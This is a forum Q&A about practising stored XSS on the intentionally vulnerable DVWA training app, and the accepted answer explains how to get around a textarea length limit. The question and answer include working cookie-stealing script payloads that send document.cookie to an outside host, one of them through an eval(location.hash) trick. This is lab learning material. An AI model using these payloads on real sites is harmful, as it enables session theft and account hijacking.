dsl36367 2014-01-01 23:04
浏览 41
已采纳

消息文本区域不接受超过网站中的一定数量的单词

I am learning about xss exploitation with this web app called damn vulnerable web app found here http://www.dvwa.co.uk/ which intentionally contains web vulnerabilities.

I am trying to add javascript in to a message box like this see image

http://postimg.org/image/w6yeoj331/

It only accepts a certain amount of words and then doesn't allow more than that, which doesn't allow me to continue with the xss attack. I am trying to type this in the message box:

<script>new Image().src="http://192.168.1.14/cookie.php?"+document.cookie;</script>

Here is the php script that deals with the message and name text areas

<?php

    if(isset($_POST['btnSign']))
    {

       $message = trim($_POST['mtxMessage']);
       $name    = trim($_POST['txtName']);

       // Sanitize message input
       $message = stripslashes($message);
       $message = mysql_real_escape_string($message);

       // Sanitize name input
       $name = mysql_real_escape_string($name);

       $query = "INSERT INTO guestbook (comment,name) VALUES ('$message','$name');";

       $result = mysql_query($query) or die('<pre>' . mysql_error() . '</pre>' );

    }

    ?>
  • 写回答

3条回答 默认 最新

  • dongyuan6949 2014-01-02 15:40
    关注

    It is probably some JavaScript on the page limiting the amount of text you can enter in the textarea - try disabling JavaScript.

    You could also try Firebug which will allow you to modify HTML content or JavaScript in the page to remove the length restrictions.

    Alternatively you can use an intercepting proxy such as ZAP or Burp Suite to intercept your POST request and then modify the request in the proxy.

    Another attack vector could be to use <script>eval(location.hash.substring(1))</script> in the textarea and then add your code in the URL by prefixing with a hash (#).

    (e.g. www.example.com/page.php#new Image().src="http://192.168.1.14/cookie.php?"+document.cookie;)

    This attack would make the page vulnerable to reflected XSS through use of a stored XSS vulnerability.

    本回答被题主选为最佳回答 , 对您是否有帮助呢?
    评论
查看更多回答(2条)

报告相同问题?

悬赏问题

  • ¥30 python代码,帮调试
  • ¥15 #MATLAB仿真#车辆换道路径规划
  • ¥15 java 操作 elasticsearch 8.1 实现 索引的重建
  • ¥15 数据可视化Python
  • ¥15 要给毕业设计添加扫码登录的功能!!有偿
  • ¥15 kafka 分区副本增加会导致消息丢失或者不可用吗?
  • ¥15 微信公众号自制会员卡没有收款渠道啊
  • ¥100 Jenkins自动化部署—悬赏100元
  • ¥15 关于#python#的问题:求帮写python代码
  • ¥20 MATLAB画图图形出现上下震荡的线条